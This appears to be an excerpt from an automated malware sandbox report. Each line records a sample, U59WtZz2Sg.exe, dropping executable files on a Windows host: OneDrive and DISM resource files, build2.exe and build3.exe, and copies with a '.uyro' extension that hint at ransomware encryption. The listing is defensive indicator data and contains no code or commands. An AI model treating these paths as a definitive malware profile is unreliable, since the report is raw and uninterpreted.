Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AppxProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sr-Latn-RS\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CompatProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismCore.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\quc\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDriveStandaloneUpdater.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IBSProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DmiProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CbsProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\vi\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\quz-PE\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\te\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IBSProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fi\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sw\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\OfflineSetupProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\FileCoAuth.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDrive.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\de\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FolderProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pt-PT\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\FileSyncHelper.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\ProvProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FolderProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\kn\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sq\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\id\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bn-BD\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\SysprepProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ne-NP\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\cy-GB\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hy\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ti\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\uk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\CR_4BAC1.tmp\setup.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bs-Latn-BA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en-US\msipc.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\SmiProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ms\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nn-NO\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDriveUpdaterService.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ka\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ca-Es-VALENCIA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\lt\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\gd\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Application Data\Application Data\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pa\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mi-NZ\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ru\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\ImagingProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\am-ET\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zh-CN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\OSProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\az-Latn-AZ\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tk-TM\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hr\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\FileSyncConfig.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\TransmogProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\he\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AssocProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nb-NO\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ky\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\km-KH\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mt-MT\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDriveStandaloneUpdater.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ro\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\tmpCDDA.tmp.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CbsProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ml-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ta\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismProv.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ja\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\kok\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\439dd104-1941-4ae6-af5f-8afc23993f7a\U59WtZz2Sg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\be\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IntlProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\DismHost.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDriveSetup.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\ImagingProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\is\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ca\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nso-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tg\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\mn\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pl\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\tmpCDDA.tmp
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\lb-LU\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\FileSyncHelper.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\SetupPlatformProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\FileCoAuth.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\xh-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\sk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\fil-PH\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\it\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tt\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\LogProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\tn-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\th\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\CR_4BAC1.tmp\setup.exe
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\rw\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DismProv.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ga-IE\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\el\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\FileSyncConfig.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\kk\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ig-NG\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\or-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zu-ZA\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\wo\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\da\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\as-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\81bc8e9b-9d47-41ad-b82b-bbc3ff54a6de\build3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AssocProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ar\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ur\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ku-Arab\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\UnattendProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FfuProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\uz-Latn-UZ\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hi\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ko\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\GenericProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bn-IN\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDriveUpdaterService.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zh-TW\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IntlProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\es\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AppxProvider.dll.mui.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\FfuProvider.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\OneDriveSetup.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\DismHost.exe.uyro (copy)
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\bg\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\hu\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ug\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\et\FileSync.LocalizedResources.dll.mui
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\OneDrive.exe
